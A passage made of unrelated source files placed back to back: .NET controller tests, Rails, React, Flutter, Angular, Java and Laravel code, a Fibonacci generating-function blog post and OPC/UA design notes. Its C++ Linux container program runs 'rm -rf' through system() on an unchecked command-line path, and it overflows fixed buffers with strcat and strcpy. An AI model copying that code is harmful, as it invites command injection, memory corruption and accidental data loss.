SaveToSession_Should_Save_Product_To_Session() { // Arrange var mockDetailRepository = new Mock<IProductDetailRepository>(); var mockProductRepository = new Mock<IProductRepository>(); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); var sessionMock = new Mock<ISession>(); var httpContextMock = new Mock<HttpContext>(); httpContextMock.Setup(c => c.Session).Returns(sessionMock.Object); controller.ControllerContext = new ControllerContext { HttpContext = httpContextMock.Object }; var product = new ProductSessionDTO { ProductId = 1, ProductName = "Test Product", Amount = 10 }; // Act var result = controller.SaveToSession(product); // Assert sessionMock.Verify(s => s.Set(".OrderItems", It.IsAny<byte[]>()), Times.Once); Assert.IsType<OkResult>(result); } //RemoveFromSession: // // [Fact] // public async Task RemoveFromSession_ReturnsNotFound_WhenOrderItemsIsNull() // { // // Arrange // var list = new List<OrderItem> // { // new OrderItem // { // OrderId = 1, // } // }; // // // var mockDetailRepository = new Mock<IProductDetailRepository>(); // var mockProductRepository = new Mock<IProductRepository>(); // var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); // // var mockHttpContext = new Mock<HttpContext>(); // var mockHttpSession = new MockHttpSession(); // mockHttpSession[".OrderItems"] = list; // mockHttpContext.Setup(x => x.Session).Returns(mockHttpSession); // controller.ControllerContext.HttpContext = mockHttpContext.Object; // // // // // var product = new ProductSessionDTO // { // ProductId = 1, // ProductName = "Test Product", // Amount = 10 // }; // // // Act // var result = controller.RemoveFromSession(product); // // // Assert // var viewNotFoundObjectResult = Assert.IsType<NotFoundObjectResult>(result); // Assert.Equal("OrderItems not found in session",viewNotFoundObjectResult.Value); // // // } //RemoveFromSession: [Fact] public async Task RemoveFromSession_ReturnsViewResult_WhenProductIsNotNull() { //Arrange var testProductId = 1; var testProductShow = new ProductShowDTO { ProductId = 1, Price = 10000, Name = "Products", ShortDescription = "The latest IPhone model with a sleek design", CategoryId = 1, Images = null, CategoryName = "Laptops", }; var testProductDetails = new List<ProductDetail> { new ProductDetail { ProductDetailId = 1, ProductId = 1, Title = "Title", Description = "Description" } }; var mockDetailRepository = new Mock<IProductDetailRepository>(); mockDetailRepository .Setup(rep => rep.GetProductsDetailsAsync(testProductId)) .ReturnsAsync(testProductDetails); var mockProductRepository = new Mock<IProductRepository>(); mockProductRepository .Setup(rep => rep.GetProductShowDtoByIdAsync(testProductId)) .ReturnsAsync(testProductShow); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); //Act var result = await controller.ReadDescriptions(testProductId); //Assert var viewResult = Assert.IsType<ViewResult>(result); var model = Assert.IsType<List<ProductDetail>>(viewResult.ViewData.Model); Assert.Equal(testProductDetails,model); mockProductRepository.Verify(rep => rep.GetProductShowDtoByIdAsync(testProductId)); mockDetailRepository.Verify(rep => rep.GetProductsDetailsAsync(testProductId)); } [Fact] public async Task RemoveFromSession_ReturnsNotFoundResult_WhenProductIsNull() { //Arrange var testProductId = 1; var mockDetailRepository = new Mock<IProductDetailRepository>(); var mockProductRepository = new Mock<IProductRepository>(); mockProductRepository .Setup(rep => rep.GetProductShowDtoByIdAsync(testProductId)) .ReturnsAsync((ProductShowDTO)null); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); //Act var result = await controller.ReadDescriptions(testProductId); //Assert var viewNotFound = Assert.IsType<NotFoundObjectResult>(result); Assert.Equal("Product not found for read description",viewNotFound.Value); mockProductRepository.Verify(rep => rep.GetProductShowDtoByIdAsync(testProductId)); } } public class MockHttpSession : ISession { Dictionary<string, object> sessionStorage = new Dictionary<string, object>(); public object this[string name] { get { return sessionStorage[name]; } set { sessionStorage[name] = value; } } string ISession.Id { get { throw new NotImplementedException(); } } bool ISession.IsAvailable { get { throw new NotImplementedException(); } } IEnumerable<string> ISession.Keys { get { return sessionStorage.Keys; } } void ISession.Clear() { sessionStorage.Clear(); } void ISession.Remove(string key) { sessionStorage.Remove(key); } void ISession.Set(string key, byte[] value) { sessionStorage[key] = value; } public async Task LoadAsync(CancellationToken cancellationToken = new CancellationToken()) { throw new NotImplementedException(); } public async Task CommitAsync(CancellationToken cancellationToken = new CancellationToken()) { throw new NotImplementedException(); } bool ISession.TryGetValue(string key, out byte[] value) { if (sessionStorage[key] != null) { value = Encoding.ASCII.GetBytes(sessionStorage[key].ToString()); return true; } else { value = null; return false; } } }
<!DOCTYPE html> <html> <head> <title><%= @page_title %></title> <%= csrf_meta_tags %> <%= stylesheet_link_tag 'works', media: 'all', 'data-turbolinks-track': 'reload' %> <%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %> </head> <body> <%= render "shared/nav" , location: 'top' %> <% # required by devise %> <p class="notice"><%= notice %></p> <p class="alert"><%= alert %></p> <% if current_user.is_a?(User) %> <%= link_to "logout", destroy_user_session_path, method: :delete %> <% else %> <%= link_to "login", new_user_session_path, method: :get %> <%= link_to "register", new_user_registration_path, method: :get %> <% end %> <%= yield %> <% if session[:source] %> <p>Thanks for visiting me from <%= session[:source] %></p> <%end %> <hr class="devseparator"> <% if Rails.env.eql?('development') %> <p>View parameters : <%= params.inspect %></p> <hr> <p>Session parameters : <%= session.inspect %></p> <% end %> <% if Rails.env.eql?('test') %> <%= params.inspect %> <% end %> </body> </html>
import { FormControl, FormErrorMessage, FormLabel, Textarea as ChakraTextArea, TextareaProps as ChakraTextAreaProps, InputLeftElement, InputGroup, } from "@chakra-ui/react"; import { FieldError } from "react-hook-form"; import { useState, useEffect, useCallback, ForwardRefRenderFunction, forwardRef, } from "react"; import { IconType } from "react-icons/lib"; interface ITextAreaProps extends ChakraTextAreaProps { name: string; label?: string; error?: | FieldError | Partial<{ type: string | number; message: string; }> | undefined; icon?: IconType; } type inputVariationOptions = { [key: string]: string; }; const inputVariation: inputVariationOptions = { error: "red.500", default: "gray.200", focus: "purple.800", filled: "green.600", }; const TextAreaBase: ForwardRefRenderFunction< HTMLTextAreaElement, ITextAreaProps > = ({ name, icon: Icon, label, error = undefined, ...rest }, ref) => { const [variation, setVariation] = useState("default"); const [value, setValue] = useState(""); useEffect(() => { if (error) { return setVariation("error"); } }, [error]); const handleInputFocus = useCallback(() => { if (!error) { setVariation("focus"); } }, [error]); const handleInputBlur = useCallback(() => { if (value.length > 1 && !error) { return setVariation("filled"); } }, [error, value]); return ( <FormControl isInvalid={!!error}> {!!label && <FormLabel color="gray.400">{label}</FormLabel>} <InputGroup flexDirection="column"> {Icon && ( <InputLeftElement color={inputVariation[variation]} mt="2.5" children={<Icon />} /> )} <ChakraTextArea name={name} bg="gray.50" color={inputVariation[variation]} borderColor={inputVariation[variation]} onFocus={handleInputFocus} onBlurCapture={handleInputBlur} onChangeCapture={(e) => setValue(e.currentTarget.value)} variant="outline" _hover={{ bgColor: "gray.100" }} _placeholder={{ color: "gray.300" }} _focus={{ bg: "gray.100" }} ref={ref} size="lg" h="60px" {...rest} /> {!!error && <FormErrorMessage>{error.message}</FormErrorMessage>} </InputGroup> </FormControl> ); }; export const TextArea = forwardRef(TextAreaBase);
import 'package:contact_bloc/features/contacts/update/bloc/contact_update_bloc.dart'; import 'package:contact_bloc/widgets/loader.dart'; import 'package:flutter/material.dart'; import 'package:contact_bloc/models/contact_model.dart'; import 'package:flutter_bloc/flutter_bloc.dart'; class ContactUpdatePage extends StatefulWidget { final ContactModel contact; const ContactUpdatePage({ Key? key, required this.contact, }) : super(key: key); @override State<ContactUpdatePage> createState() => _ContactUpdatePageState(); } class _ContactUpdatePageState extends State<ContactUpdatePage> { final _formKey = GlobalKey<FormState>(); late final TextEditingController _nameEC; late final TextEditingController _emailEC; @override void initState() { super.initState(); _nameEC = TextEditingController( text: widget.contact.name, ); _emailEC = TextEditingController( text: widget.contact.email, ); } @override void dispose() { _nameEC.dispose(); _emailEC.dispose(); super.dispose(); } @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: const Text('Update Register'), ), body: BlocListener<ContactUpdateBloc, ContactUpdateState>( listener: (context, state) { state.whenOrNull( success: () { Navigator.of(context).pop(); }, error: (message) { ScaffoldMessenger.of(context).showSnackBar( SnackBar( content: Text( message, style: const TextStyle( color: Colors.white, ), ), backgroundColor: Colors.red, ), ); } ); }, listenWhen: (previous, current) { return current.maybeWhen( error: (message) => true, success: () => true, orElse: () => false, ); }, child: Padding( padding: const EdgeInsets.all(20.0), child: Form( key: _formKey, child: Column( children: [ Loader<ContactUpdateBloc, ContactUpdateState>( selector: (state) { return state.maybeWhen( loading: () => true, orElse: () => false, ); } ), TextFormField( controller: _nameEC, decoration: const InputDecoration( label: Text( "Nome", ), ), validator: (value) { if(value == null || value.isEmpty) { return "Nome é Obrigatório"; } return null; }, ), TextFormField( controller: _emailEC, keyboardType: TextInputType.emailAddress, decoration: const InputDecoration( label: Text( "Email", ), ), validator: (value) { if(value == null || value.isEmpty) { return "Email é Obrigatório"; } return null; }, ), ElevatedButton( onPressed: () { final validate = _formKey.currentState?.validate() ?? false; if(validate) { context.read<ContactUpdateBloc>().add( ContactUpdateEvent.save( id: widget.contact.id!, name: _nameEC.text, email: _emailEC.text, ), ); } }, child: const Text( "Atualizar", ) ), ], ), ), ), ), ); } }
--- title: fibonacci slug: fibonacci layout: post --- Every OGF tutorial or text I've seen uses the Fibonacci series as an early example. Why should I be different? ## An OGF for the Fibonacci series. How about another example? I'm going to create an OGF for the Fibonacci series. Everyone else seems to work through this series as an example, so I'd better be able to do it myself. ### The recursion The recursion for the Fibonacci is just $f_{n+1} = f_n + f_{n-1}$, where $n\geq1$, $f_0 = 0, f_1 = 1$. As always, I want to get a closed form for the OGF of the series, $$F(x) = \sum_0^\infty f_n x^n$$, which I'm just going to write as $F = \sum f_n x^n$. I'll just assume from now on that unless I say otherwise, my sums have those limits, and $F$ (or, more often, $G$) is a generating function $F(x)$ ( or $G(x)$ ). In defining the recursion, I have to use $n\geq1$ because if I start with $n=0$, then $f_{n-1} = f_{-1}$, which I haven't specified. Notice, though, that $$F = \sum_0^\infty f_n x^n = \sum_1^\infty f_n x^n$$ because $f_0 = 0$. That will come in handy. ### The equation Going through the steps, first I make both sides of the recursion into series. $$\sum_1 f_{n+1} x^n = \sum_1 f_n x^n + \sum_1 f_{n-1} x^n$$ This becomes, after twiddling subscripts and limits, $$(\sum_2 f_n x_n)/x = (F - x)/x = F + xF = F(1+x)$$ Solving, I get $$F = x/(1-x-x^2)$$ ### Partial-fraction decomposition. Next, I factor the denominator. $$F = \frac{x}{(1-\phi_{+} x)(1-\phi_{-} x)}$$, where $\phi_{+} = \frac{1 + \sqrt{5}}{2}$ and $\phi_{-} = \frac{1 - \sqrt{5}}{2}$ Here, $\phi$ is the well-known, golden ratio, in some special sense of the adjective "well-known." I think the use of $\phi$ comes from Euler. Now what? I use the same tricks I did in the last post to re-write this as $$\frac{1}{\sqrt{5}}\left( \frac{1}{(1 - \phi_{+} x)} - \frac{1}{(1 - \phi_{-} x)} \right)$$ Damn! I got that giant, steaming pile of LaTeX almost right the first time. It's getting easier. ### A closed-form formula for $f_n$ I turn each fraction into the series $$1 + \phi x + \phi^2 x^2 + \phi^3 x^3 + ...$$ to give me $$f_n = \frac{1}{\sqrt{5}}({\phi_{+}}^n - {\phi_{-}}^n)$$ Okay, this is at least weird. The $f_n$ are *integers*. I'm supposed to believe this formula, full of fractions powers and $\sqrt{5}$ always turns into an integer? Really? It does. The formula is both correct and, again, "well-known." Could I have come up with it without using generating functions? Well, *I* sure as hell couldn't have. Plus, as every text that goes through this example points out, ${\phi_{-}}^n$ quickly vanishes as $n$ gets big, which means rounding $\frac{{\phi_{+}}^n}{\sqrt{5}}$ to the nearest integer is another way to get the $n^{th}$ Fibonacci number. Go figure. But, again, cool!
# Implementing OPC/UA Event Support in ScoutX {#opcua_events} ScoutX OPC/UA is implemented in a separate OpcUaServer process. Its design is a thin layer with the OPC/UA serverside stubs calling a corresponding gRPC client to the ScoutX process. The ScoutX process hosts a gRPC server, and its server side stubs make calls into the ScoutServices layer. ## Design and Naming Considerations {#automapper} There are multiple layers of POCO (Plain Old C# Objects) in the ScoutX system. * ScoutX Domain classes provided by the new Scout Services layer * gRPC message objects defined in the gRPC .proto file. This generates C# POCO classes used by both the server and the client. * OPC/UA object types defined in the OPC/UA ModelDesign.xml file. This also generates C# POCO classes. In order to reduce boiler plate code, we are using [AutoMapper](https://automapper.org/). This popular library has extensive [documentation](https://docs.automapper.org/en/stable/Getting-started.html). ScoutX 1.4 has added integration with Ninject, so the code to copy the values out of one layer's POCOs into the next, can be performed with a single line of code. ```csharp OrderDto dto = mapper.Map<OrderDto>(order); ``` The caveat is that AutoMapper can do this automatically if the property names of both POCOs are the same. If they are not, then additional instructions have to be given to AutoMapper to handle those exceptions. ## Implementing a new event The example below shows how the [GrpcServer.LockResultProcessor](@ extends the [EventProcessor](@ref GrpcServer.EventProcessor). An event source is needed, and going forward, we will use [Microsoft's Reactive Extensions](https://docs.microsoft.com/en-us/archive/msdn-magazine/2016/june/reactive-framework-scale-asynchronous-client-server-links-with-reactive). The base generic class EventProcessor provides the message processing with the generic type being the gRPC message type. It encapsulates the threading, ensuring that only one message is written to the queue at a time. The derived class, in this case LockResultProcessor, is responsible for registering with the Reactive Subject to receive events. This is done in the Subscribe() method. The SetLockStatus() could be named anything and calls the base class's QueueMessage() method. Note the Scout Services ILockManager is also being injected into the LockResultProcessor, which provides the Reactive Subject. ```csharp public class LockResultProcessor : EventProcessor<LockStateChangedEvent> { protected ILockManager _lockManager; public LockResultProcessor(ILogger logger, IMapper mapper, ILockManager lockManager) : base(logger, mapper) { _lockManager = lockManager; } public override void Subscribe(ServerCallContext context, IServerStreamWriter<LockStateChangedEvent> responseStream) { if (null != _subscription) { return; } _responseStream = responseStream; _subscription = _lockManager.SubscribeStateChanges().Subscribe(SetLockStatus); base.Subscribe(context, responseStream); } private void SetLockStatus(LockResult res) { var message = new LockStateChangedEvent { LockState = _mapper.Map<LockStateEnum>(res) }; QueueMessage(message); } } ``` Note the use of the IMapper interface. With a single call we can map a hierarchy of objects. In this case, we are only mapping a single enum. To setup up the mapping, we add an entry, or possible multiple entries, in the case of more complex structure in the [OpcUaGrpcModule](@ref GrpcServer.OpcUaGrpcModule) class in the CreateConfiguration() method. [Consistent naming](#automapper) can reduce the need for designing custom mapping extensions. Here, a single CreateMap entry is needed to map the enumeration. ```csharp private MapperConfiguration CreateConfiguration() { var mapperConfig = new MapperConfiguration(cfg => { // Add all profiles for each gRPC event cfg.CreateMap<LockStateEnum, LockResult>(); }); return mapperConfig; } ``` The LockResultProcessor is then injected into the [GrpcClient](@ref GrpcServer.GrpcClient) class. The implication is that each client maintains its own set of event processors. When the GrpcClient is disposed of, it cleans up both its subscriptions to the Reactive Subject, any gRPC or other resources, and exits its message processing thread. ```csharp public class GrpcClient : IDisposable { private string _id; private string _username; private string _password; private readonly LockResultProcessor _lockResultProcessor; public GrpcClient(string clientId, string username, string password, LockResultProcessor lockResultProcessor) { _id = clientId; _username = username; _password = password; _lockResultProcessor = lockResultProcessor; } public void Dispose() { _lockResultProcessor.Dispose(); } public void SubscribeLockResult(ServerCallContext context, IServerStreamWriter<LockStateChangedEvent> responseStream) { _lockResultProcessor.Subscribe(context, responseStream); } } ``` The SubscribeLockResult is called from the corresponding ScoutOpcUaGrpcService class, after it looks up the GrpcClient. Note: In the OPCUA repo, in the OpcEventManager.cs ensure that in the RegisterForScoutEvents() method, that you have properly registered the event via AddRegisteredEvent(): ```csharp AddRegisteredEvent(_registeredEventFactory.CreateLockStateRegisteredEvent(ServiceUser, _nodeManager.FindNode(ViCellBlu.ObjectTypes.LockStateChangedEvent)), nameof(LockStateChangedEvent)); ``` ## Troubleshooting Tips - If and when you encounter connectivity issues or bugs related to gRPC, you can set these environment variables either in the ScoutUI Debug Properties, or in your unit tests Setup() method. ```csharp Environment.SetEnvironmentVariable("GRPC_VERBOSITY", "DEBUG"); Environment.SetEnvironmentVariable("GRPC_TRACE", "channel,client_channel_call,connectivity_state,handshaker,server_channel,transport_security"); ``` The above GRPC_TRACE settings are helpful, but if you need more, this [gRPC wiki page](https://github.com/grpc/grpc/blob/master/doc/environment_variables.md) has them all. - If you encounter an issue where the OPC UA Client is not receiving expected OPC UA Events, the problem may be that the gRPC Server (ScoutUI) is not up and running first, before the HawkeyeOpcUa (OPC Server/gRPC Client). - If you are debugging and want to use your HawkeyeOpcUa code, you will need to stop the Watchdog service in ScoutUI.sln. Remove the ViCellOpcServer.exe from ScoutServices\Watchdog\WatchdogConfiguration.json to make it look like this: ```json { "PollingIntervalMS": "5000", "servers": [ "\\Instrument\\OPCUaServer\\ViCellOpcUaServer.exe" ] } ```
import 'package:cloud_firestore/cloud_firestore.dart'; import 'package:flutter_amazon/consts/consts.dart'; import 'package:flutter_amazon/controllers/chatController.dart'; import 'package:flutter_amazon/services/firestore.dart'; import 'package:flutter_amazon/widgets_common/responsive_height.dart'; import 'package:get/get.dart'; import 'components/sender_bubble.dart'; class ChatScreen extends StatelessWidget { const ChatScreen({super.key}); @override Widget build(BuildContext context) { var controller = Get.put(ChatController()); return Scaffold( backgroundColor: whiteColor, appBar: AppBar( backgroundColor: whiteColor, title: controller.friendName .toString() .text .fontFamily(semibold) .color(darkFontGrey) .make(), ), body: Padding( padding: const EdgeInsets.all(8.0), child: Column( children: [ Obx( () => controller.isLoading.value ? const Center( child: CircularProgressIndicator( valueColor: AlwaysStoppedAnimation(redColor), ), ) : Expanded( child: StreamBuilder( stream: FirestoreServices.getChatMessages( controller.chatDocId.toString()), builder: (context, AsyncSnapshot<QuerySnapshot> snapshot) { if (!snapshot.hasData) { return const Center( child: CircularProgressIndicator( valueColor: AlwaysStoppedAnimation(redColor), ), ); } else if (snapshot.data!.docs.isEmpty) { return Center( child: "send a message..." .text .color(darkFontGrey) .make(), ); } else { return ListView( children: snapshot.data!.docs .mapIndexed((currentValue, index) { var data = snapshot.data!.docs[index]; return Align( alignment: data['uId'] == currentUser!.uid ? Alignment.centerRight : Alignment.centerLeft, child: senderBubble(data)); }).toList()); } }, )), ), myCommonheight(0.01), Container( margin: const EdgeInsets.only(bottom: 8), padding: const EdgeInsets.all(12), height: 70, decoration: BoxDecoration( border: Border.all(color: textfieldGrey), borderRadius: BorderRadius.circular(10), ), child: Row( children: [ Expanded( child: TextFormField( controller: controller.msgController, maxLines: null, // Allow multiple lines of text decoration: const InputDecoration( hintText: "Type a message ....", border: InputBorder.none, // Remove the border isCollapsed: true, // Allow the text field to expand vertically ), ), ), IconButton( onPressed: () { controller.sendMessage(controller.msgController.text); controller.msgController.clear(); }, icon: const Icon(Icons.send), color: redColor, ), ], ), ) ], ), ), ); } }
// Lesson 11 - Recap Object Programming type IFizzBuzz = abstract Calculate: int -> string type FizzBuzz() = let calculate n = [(3, "Fizz"); (5, "Buzz")] |> List.map (fun (v, s) -> if n % v = 0 then s else "") |> List.reduce (+) |> fun s -> if s = "" then string n else s interface IFizzBuzz with member _.Calculate(n:int) = calculate n let fizzBuzz = FizzBuzz() :> IFizzBuzz [1..20] |> List.map fizzBuzz.Calculate
package com.jbk; import java.util.NoSuchElementException; import java.util.concurrent.TimeUnit; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.support.ui.ExpectedCondition; import org.openqa.selenium.support.ui.ExpectedConditions; import org.openqa.selenium.support.ui.FluentWait; import org.openqa.selenium.support.ui.Wait; import org.openqa.selenium.support.ui.WebDriverWait; import org.testng.annotations.Test; public class WaitEx { WebDriver driver;// global @Test public void test01() throws Exception { System.setProperty("webdriver.chrome.driver", "D:/chromedriver.exe"); driver = new ChromeDriver(); driver.get("file:///C:/Users/LENOVO/Downloads/Offline%20Website/index.html"); //driver.manage().timeouts().pageLoadTimeout(15, TimeUnit.SECONDS);// timeout exception throw // dynamic wait driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);// will work for all webElement--NoSuchElement WebElement uname=driver.findElement(By.id("email")); uname.sendKeys("kiran@gmail.com"); WebDriverWait wait = new WebDriverWait(driver, 30);// NosuchElement-- dedicated to specific webElement wait.until(ExpectedConditions.visibilityOf(driver.findElement(By.id("password1")))); Wait w= new FluentWait(driver) .withTimeout(30, TimeUnit.SECONDS) .pollingEvery(5, TimeUnit.SECONDS) .ignoring(NoSuchElementException.class);// handling of exception w.until(ExpectedConditions.visibilityOf(driver.findElement(By.id("password1")))); } }
@extends('backend.layouts.master') @section('content') <div id="main-content"> <div class="container-fluid"> <div class="block-header"> <div class="row"> <div class="col-lg-6 col-md-8 col-sm-12"> <h2><a href="javascript:void(0);" class="btn btn-xs btn-link btn-toggle-fullwidth"><i class="fa fa-arrow-left"></i></a>Add Blog Tag</h2> <ul class="breadcrumb"> <li class="breadcrumb-item"><a href="{{route('admin')}}"><i class="icon-home"></i></a></li> <li class="breadcrumb-item">Blog Tag</li> <li class="breadcrumb-item active">Add Blog Tag</li> </ul> </div> </div> </div> <div class="row clearfix"> <div class="col-md-12"> @if($errors->any()) <div class="alert alert-danger"> <ul> @foreach($errors->all() as $error) <li>{{$error}}</li> @endforeach </ul> </div> @endif </div> <div class="col-lg-12 col-md-12 col-sm-12"> <div class="card"> <div class="body"> <form action="{{route('blog-tag.store')}}" method="post" enctype="multipart/form-data"> @csrf <div class="row clearfix"> <div class="col-lg-12 col-md-12"> <div class="form-group"> <label for="">Tag Heading </label> <input type="text" class="form-control" placeholder="Heading" name="title" value="{{old('title')}}" id="title"> </div> </div> <div class="col-lg-12 col-md-12"> <div class="form-group"> <label for="">URL</label> <input type="text" class="form-control" placeholder="URL" name="slug" value="{{old('slug')}}" id="slug"> </div> </div> <div class="col-lg-12 col-sm-12" > <div class="form-group"> <label for="status">Status <span class="text-danger">*</span></label> <select name="status" class="form-control show-tick"> <option value="active" {{old('status')=='active' ? 'selected' : ''}}>Active</option> <option value="inactive" {{old('status') == 'inactive' ? 'selected' : ''}} >Inactive</option> </select> </div> </div> <div class="col-sm-12"> <div class="form-group"> <button type="submit" class="btn btn-info">Create Tag</button> <button type="reset" class="btn btn-outline-danger">Cancel</button> </div> </div> </div> </form> </div> </div> </div> </div> </div> </div> @endsection @section('scripts') <script> $('#description').summernote({ placeholder:'Write something' }); </script> @endsection
import { NgModule } from '@angular/core'; import { BrowserModule } from '@angular/platform-browser'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; import { HomeComponent } from './home/home.component'; import { BeerComponent } from './beer/beer.component'; import { RandomBeerComponent } from './random-beer/random-beer.component'; import { NewBeerComponent } from './new-beer/new-beer.component'; import { HttpClientModule} from '@angular/common/http'; import { BeerDetailComponent } from './beer-detail/beer-detail.component'; import { KeyValuePipe } from '@angular/common'; import { ReactiveFormsModule } from '@angular/forms'; import { FormsModule } from '@angular/forms'; import { HashLocationStrategy, LocationStrategy } from '@angular/common'; @NgModule({ declarations: [ AppComponent, HomeComponent, BeerComponent, RandomBeerComponent, NewBeerComponent, BeerDetailComponent ], imports: [ BrowserModule, AppRoutingModule, HttpClientModule, ReactiveFormsModule, FormsModule ], providers: [KeyValuePipe, {provide: LocationStrategy, useClass: HashLocationStrategy}], bootstrap: [AppComponent] }) export class AppModule { }
package example.Advanced.Music.app.entities; import com.fasterxml.jackson.annotation.JsonBackReference; import com.fasterxml.jackson.annotation.JsonIdentityReference; import example.Advanced.Music.app.constans.Constants; import jakarta.persistence.*; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; import org.hibernate.annotations.OnDelete; import org.hibernate.annotations.OnDeleteAction; import javax.validation.constraints.NotNull; import javax.validation.constraints.Pattern; import javax.validation.constraints.Size; import java.util.HashSet; import java.util.Set; @Getter @Setter @NoArgsConstructor @AllArgsConstructor @Entity @Table(name = "playlists") public class Playlist extends EntityBase { @NotNull @Size(max = Constants.NAME_MAX_LENGTH, min = Constants.NAME_MIN_LENGTH) @Pattern(regexp = Constants.PATTERN_NAME) @Column(name = "playlist_name", length = Constants.NAME_MAX_LENGTH) private String name; @ManyToOne @JoinColumn(name = "created_id") @JsonIdentityReference(alwaysAsId = true) @JsonBackReference private User creator; @Column(name = "is_favorite") private boolean isFavorite; @ManyToMany(fetch = FetchType.LAZY) @JoinTable( name = "playlist_song", joinColumns = @JoinColumn(name = "playlist_id", referencedColumnName = "id"), inverseJoinColumns = @JoinColumn(name = "song_id", referencedColumnName = "id") ) @OnDelete(action = OnDeleteAction.CASCADE) private Set<Song> songs = new HashSet<>(); }
#include <iostream> #include <sched.h> #include <sys/wait.h> #include <cstring> #include <sys/unistd.h> #include <sys/mount.h> #include <sys/stat.h> #include <fstream> #define STACK 8192 #define FILE_MODE 0755 char error_msg1[] = "system error: unable to allocate enough memory."; char error_msg2[] = "system error: Unable to clone new process."; char error_msg3[] = "system error: Unable to change host name."; char error_msg4[] = "system error: Unable to mount directory."; char error_msg5[] = "system error: Unable to create new directory."; char error_msg6[] = "system error: Unable to open proc file."; char error_msg7[] = "system error: Unable to change root directory."; typedef struct { char *host_name; char *fd; char *num_processes; char *container_program; char **args_for_child; } arg_struct; /** * Child function that sets and operates the container * @param args arguments * @return 0 */ int child(void *args) { arg_struct *program_arguments = (arg_struct *) args; //changing host name int ret = sethostname(program_arguments->host_name, strlen(program_arguments->host_name)); if (ret == -1) { fprintf(stderr, "%s\n", error_msg3); exit(1); } //Setting a new file system int chroot_ret = chroot(program_arguments->fd); if (chroot_ret == -1) { fprintf(stderr, "%s\n", error_msg4); exit(1); } //updating root directory int chdir_ret = chdir("/"); if (chdir_ret == -1) { fprintf(stderr, "%s\n", error_msg7); exit(1); } //mounting proc file int mount_ret = mount("proc", "/proc", "proc", 0, 0); if (mount_ret == -1) { fprintf(stderr, "%s\n", error_msg4); exit(1); } //limiting the number of processes char fs_path[] = "/sys/fs"; if (access(fs_path, F_OK)) { int fs_ret = mkdir(fs_path, FILE_MODE); if (fs_ret == -1) { fprintf(stderr, "%s\n", error_msg5); exit(1); } } char cgroup_path[] = "/sys/fs/cgroup"; if (access(cgroup_path, F_OK)) { int mkd_ret = mkdir(cgroup_path, FILE_MODE); if (mkd_ret == -1) { fprintf(stderr, "%s\n", error_msg5); exit(1); } } char pid_path[] = "/sys/fs/cgroup/pids"; if (access(pid_path, F_OK)) { int mkd2_ret = mkdir(pid_path, FILE_MODE); if (mkd2_ret == -1) { fprintf(stderr, "%s\n", error_msg5); exit(1); } } //Writing 1 pid into cgroups.procs std::ofstream procs_file("/sys/fs/cgroup/pids/cgroup.procs"); if (procs_file.is_open()) { procs_file << 1; procs_file.close(); } else { fprintf(stderr, "%s\n", error_msg6); exit(1); } //Writing into the file pids.max num of allowed processes std::ofstream pid_file("/sys/fs/cgroup/pids/pids.max"); if (pid_file.is_open()) { pid_file << program_arguments->num_processes; pid_file.close(); } else { fprintf(stderr, "%s\n", error_msg6); exit(1); } //running the program inside container char *new_exec_args[] = {program_arguments->container_program, *program_arguments->args_for_child, nullptr}; //notify_on_release std::ofstream release_file("/sys/fs/cgroup/pids/notify_on_release"); if (release_file.is_open()) { release_file << 1; release_file.close(); } else { fprintf(stderr, "%s\n", error_msg6); exit(1); } execvp(program_arguments->container_program, new_exec_args); return 0; } /** * Main function for initializing a container and * removing files and unmounting ones the * container is exited * @param argc number of input arguments * @param argv input arguments * @return 0 */ int main(int argc, char *argv[]) { //Setting child's stack char *stack = (char *) malloc(STACK); if (!stack) { fprintf(stderr, "%s\n", error_msg1); exit(1); } // initialize arguments for child char *program_args[argc - 5]; int argv_ind = 5; while (argv_ind < argc) { program_args[argv_ind - 5] = argv[argv_ind]; argv_ind++; } if (argc == 5) { *program_args = nullptr; } arg_struct arguments = {argv[1], argv[2], argv[3], argv[4], program_args}; // create new child process with specific signal handlers and namespace int child_pid = clone(child, stack + STACK, CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, &arguments); if (child_pid == -1) { fprintf(stderr, "%s\n", error_msg2); exit(1); } // wait for the process to finish waitpid(child_pid, nullptr, 0); // unmounting size_t fd_len = strlen(argv[2]); char fd_path[fd_len]; strcpy(fd_path, argv[2]); umount(strcat(fd_path, "/proc")); // delete directories char remove_cmd[sizeof("rm -rf ")] = "rm -rf "; system(strcat(strcat(remove_cmd, argv[2]), "/sys/*")); return 0; }
require 'rails_helper' describe HoursWorkedMigration::Person::AccrualAmountForm, type: :model do let(:company) { create(:company) } let(:current_person) { create(:person, company: company) } let(:person) { create(:person, company: company) } let(:pto_transaction_batch) { create(:pto_transaction_batch, person: person) } let(:pto_type) do create( :hours_worked_pto_type, company: company, yearly_accrual_max: 20, ) end describe '#save' do let!(:pto_account) do create(:pto_account, pto_type: pto_type, person: person) end let(:rates) do [{ hours: 24, rate: 40, amount: 960, }] end subject do described_class.new( id: person.id, hours_worked: 24, pto_type: pto_type, amount: 15, note: 'Some note', current_person: current_person, ) end before do allow(subject).to receive(:rates).and_return(rates) allow(subject).to receive(:batch).and_return(pto_transaction_batch) end context 'with max_reached' do let!(:pto_transaction) do create( :pto_transaction, transaction_type: PtoTransaction::TransactionTypes::ACCRUAL, pto_account: pto_account, amount: 22, ) end let(:messages) do [ I18n.t('v2.hours_worked_migrations.parse.rate_calc', rates.first), I18n.t('v2.hours_worked_migrations.parse.max_has_been_reached', max: 20), ] end before { allow(subject).to receive(:max_reached).and_return(true) } it 'performs Pto::AccrualWorker' do expect(Pto::AccrualWorker).to receive(:perform_async).with( pto_account.id, Time.current.to_i, 15, messages, current_person.id, 'Some note', pto_transaction_batch.id, ) subject.save end end context 'without max_reached' do before { allow(subject).to receive(:max_reached).and_return(false) } context 'with pto_earned == amount' do let(:messages) do [ I18n.t('v2.hours_worked_migrations.parse.rate_calc', rates.first), ] end before { allow(subject).to receive(:pto_earned).and_return(15) } it 'performs 